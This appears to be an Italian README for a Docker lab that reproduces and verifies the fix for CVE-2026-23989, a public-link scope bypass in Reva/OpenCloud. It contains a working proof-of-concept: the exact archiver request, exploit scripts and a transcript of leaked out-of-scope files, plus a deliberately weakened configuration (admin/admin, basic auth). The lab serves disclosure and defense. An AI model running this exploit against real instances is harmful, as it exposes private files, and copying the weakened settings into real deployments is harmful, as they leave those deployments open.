
# Laboratorio di riproduzione (A/B Docker) per CVE-2026-23989 — bypass della validazione dell'ambito dei link pubblici in OpenCloud / ownCloud Infinite Scale in Reva
Un laboratorio autonomo, con un solo comando, che riproduce CVE-2026-23989 e ne dimostra la correzione, utilizzando le immagini Docker ufficiali a monte. Un link di condivisione pubblico che dovrebbe concedere l'accesso a una cartella può essere sfruttato per leggere file al di fuori dell'ambito di quella cartella.
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 Alta — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Classe | Controllo degli accessi non corretto — confusione del prefisso di percorso nella validazione dell'ambito |
| Causa principale | Reva checkIfNestedResource usava strings.HasPrefix per il contenimento dei percorsi |
| Versioni interessate | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Corretto in | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Divulgato | 2026-02-05 |
OpenCloud è un fork del 2025 di ownCloud Infinite Scale (OCIS), creato da ex ingegneri ownCloud dopo che Kiteworks ha acquisito ownCloud. Il difetto risiede in Reva, il backend di storage CS3 condiviso da OCIS/OpenCloud e — secondo l'advisory del fornitore — "ha avuto origine nel codebase ownCloud (Kiteworks) ed è stato ereditato quando OpenCloud ha fatto il fork di OCIS." OpenCloud viene usato qui perché fornisce immagini pulite, pinnate, pubbliche, vulnerabili e corrette che consentono un confronto A/B esatto.
internal/grpc/interceptors/auth/scope.go, funzione checkIfNestedResource — l'interceptor
del gateway che decide se un token di link pubblico può toccare una risorsa:
// vulnerabile (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath è il percorso della cartella condivisa (l'ambito del link); childPath è il
percorso della risorsa richiesta. Il prefisso di stringa non è contenimento di percorso:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (un fratello, NON un figlio)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← errato: accesso concesso
Quindi un link con ambito /Shared raggiunge anche qualsiasi risorsa nello stesso spazio
il cui percorso inizia con la stringa /Shared — ad es. /Shared-secret, /Shared-2024,
/Shared backup. La correzione sostituisce il test con filepath.Rel e rifiuta qualsiasi
percorso relativo che inizi con .. (patch completa in patch/reva-scope.go.patch).
Ogni operazione del gateway che trasporta un token di link pubblico passa attraverso il
controllo dell'ambito difettoso, ma la primitiva dei ricercatori (e di questo laboratorio) è il
servizio archiver su GET /archiver, autenticato per un link pubblico con l'header
public-token:. Accetta un id di risorsa (?id=<fileid>), lo attraversa e
trasmette uno zip. Puntatelo all'id di un fratello con prefisso fuori ambito e il controllo
difettoso lo ammette:
GET /archiver?id=<id-di-/Shared-secret>
public-token: <token di link con ambito /Shared>
→ 200, zip di /Shared-secret (su 4.0.2)
→ 404 "gateway could not find space for ref=…" (su 4.0.3)
L'attaccante deve fornire l'id di risorsa del bersaglio fuori ambito. Quell'id
opaco è un UUID casuale e non è enumerabile tramite il link pubblico
stesso (il link non può elencare lo spazio del proprietario — restituisce 401). In OCIS,
tuttavia, l'oc:fileid di una risorsa è esposto in quasi ogni risposta WebDAV/graph,
invito di condivisione, notifica di attività e URL web (/f/<id>), quindi qualsiasi
collaboratore precedente, ex-destinatario di una condivisione diversa o utente interno lo
possiede abitualmente — motivo per cui il fornitore ha valutato la complessità dell'attacco
Bassa. Lo setup.sh del laboratorio ottiene l'id "come la vittima" per passarlo alla
fase dell'attaccante, modellando quella realistica conoscenza precedente. Il path traversal
(?path=../…) non è un sostituto valido: quei percorsi vengono risolti relativamente alla
condivisione e ripuliti (404).
"/"
e HasPrefix("/", "/Shared") è falso (il laboratorio lo conferma: archivio della radice dello
spazio → 404). Anche i fratelli senza prefisso come /Private vengono negati sulla
build vulnerabile — il laboratorio lo usa come controllo per dimostrare che l'effetto è
specificamente il bug del prefisso, non un fallimento di autenticazione generalizzato.| File | Scopo |
|---|---|
docker-compose.yml | Un contenitore OpenCloud; OC_TAG seleziona la versione vulnerabile (4.0.2) o corretta (4.0.3). |
setup.sh | Prepara lo scenario della vittima nello spazio dell'utente demo mary e crea un link pubblico senza password su /Shared. Scrive state.env. |
exploit.sh | PoC dell'attaccante. Dato il token del link + un id di risorsa bersaglio, chiama l'archiver e stampa i byte esfiltrati. |
verify.sh | Confronto A/B con un solo comando: riproduce su 4.0.2, conferma la correzione su 4.0.3, stampa una matrice PASS/FAIL. |
patch/reva-scope.go.patch | La correzione esatta di una riga a monte, annotata. |
Scenario preparato nello spazio personale di mary:
/Shared/public-note.txt ← condiviso tramite il link pubblico (in ambito)
/Shared-secret/flag.txt ← bersaglio del PoC; il percorso ha prefisso "/Shared" (fuori ambito)
/Private/topsecret.txt ← controllo; senza prefisso (fuori ambito, resta negato)
Requisiti: Docker + Docker Compose, curl, python3. Scarica ~250 MB di immagini.
./verify.sh
Output previsto:
== Exploit + controlli contro VULNERABILE 4.0.2 ==
[PASS] in ambito /Shared (accesso legittimo) (perdita prevista)
[PASS] PoC: fuori ambito /Shared-secret (perdita prevista)
[PASS] senza prefisso /Private (deve restare negato) (negazione prevista)
== Exploit + controllo contro CORRETTO 4.0.3 ==
[PASS] in ambito /Shared (funziona ancora) (perdita prevista)
[PASS] PoC: fuori ambito /Shared-secret (corretto) (negazione prevista)
== Verdetto ==
5 superati, 0 falliti
CVE-2026-23989 riprodotta su 4.0.2 e correzione confermata su 4.0.3.
Coppia con rilascio rolling invece di stable:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. avvia la build vulnerabile
OC_TAG=4.0.2 docker compose up -d
# 2. prepara lo scenario della vittima (crea il link pubblico, scrive state.env)
./setup.sh
# 3. attacco: esfiltra il fratello fuori ambito (legge il bersaglio da state.env)
./exploit.sh # usa come default l'id di /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # controllo: negato
Trascrizione reale contro la build vulnerabile (i valori di state.env variano a ogni esecuzione):
===== EXPLOIT /Shared-secret (fratello con prefisso fuori ambito) =====
[*] Token del link pubblico: UVWPXGsjlLJRYxK (ambito: una singola cartella condivisa)
[*] HTTP 200, 365 byte
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] PERDITA CONFERMATA — byte di file fuori ambito esfiltrati tramite il link pubblico.
===== CONTROLLO /Private (fuori ambito, senza prefisso) =====
[*] HTTP 404, 249 byte
[-] NEGATO — il server ha rifiutato: error: not found: gateway could not find space for ref=…
Conferma la correzione con gli stessi dati (stesso token e stessi id):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # ora → HTTP 404, NEGATO
Smontaggio:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" sul contenitore. Il fornitore conferma
che questo mitiga completamente il problema (un link pubblico restituisce quindi un errore).docker-compose.yml indebolisce deliberatamente l'istanza affinché il PoC sia
scriptabile: PROXY_ENABLE_BASIC_AUTH=true (così curl -u/public-token funzionano senza
la procedura OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo ecc. — password pubbliche),
IDM_ADMIN_PASSWORD=admin, link pubblici senza password e un certificato autofirmato
(curl -k). Nessuna di queste è la vulnerabilità; servono solo a renderla osservabile in
una shell. Il bypass stesso è indipendente da esse.
8d52003